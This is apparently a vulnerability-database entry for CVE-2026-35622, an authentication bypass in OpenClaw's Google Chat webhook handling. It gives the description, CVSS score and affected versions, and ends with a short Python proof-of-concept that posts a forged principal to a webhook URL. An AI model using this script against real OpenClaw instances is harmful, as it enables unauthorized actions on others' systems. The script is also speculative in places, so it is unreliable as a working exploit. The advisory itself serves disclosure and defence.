Security Vulnerability Report
中文
CVE-2026-35622 CVSS 5.9 MEDIUM

CVE-2026-35622

Published: 2026-04-09 22:16:30
Last Modified: 2026-04-17 12:19:19

Description

OpenClaw before 2026.3.22 contains an improper authentication verification vulnerability in Google Chat app-url webhook handling that accepts add-on principals outside intended deployment bindings. Attackers can bypass webhook authentication by providing non-deployment add-on principals to execute unauthorized actions through the Google Chat integration.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:* - VULNERABLE
OpenClaw < 2026.3.22

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target webhook URL # Replace with the actual target endpoint target_url = "https://openclaw-instance.com/google-chat/webhook" # The vulnerability allows bypassing authentication by using a non-deployment add-on principal. # This payload simulates a request from an unauthorized principal. payload = { "type": "MESSAGE", "event": { "appPrincipal": "attacker-controlled-principal-id", "user": { "name": "users/123456789", "displayName": "Attacker" } }, "message": { "text": "Execute unauthorized action" } } headers = { "Content-Type": "application/json", # Depending on the specific implementation, other headers might be needed } try: response = requests.post(target_url, json=payload, headers=headers) if response.status_code == 200: print("[+] PoC successful: Authentication bypassed.") print("[+] Response:", response.text) else: print("[-] PoC failed or patched.") print("[-] Status Code:", response.status_code) except Exception as e: print(f"[-] Error occurred: {e}")

References

Raw JSON Data

JSON
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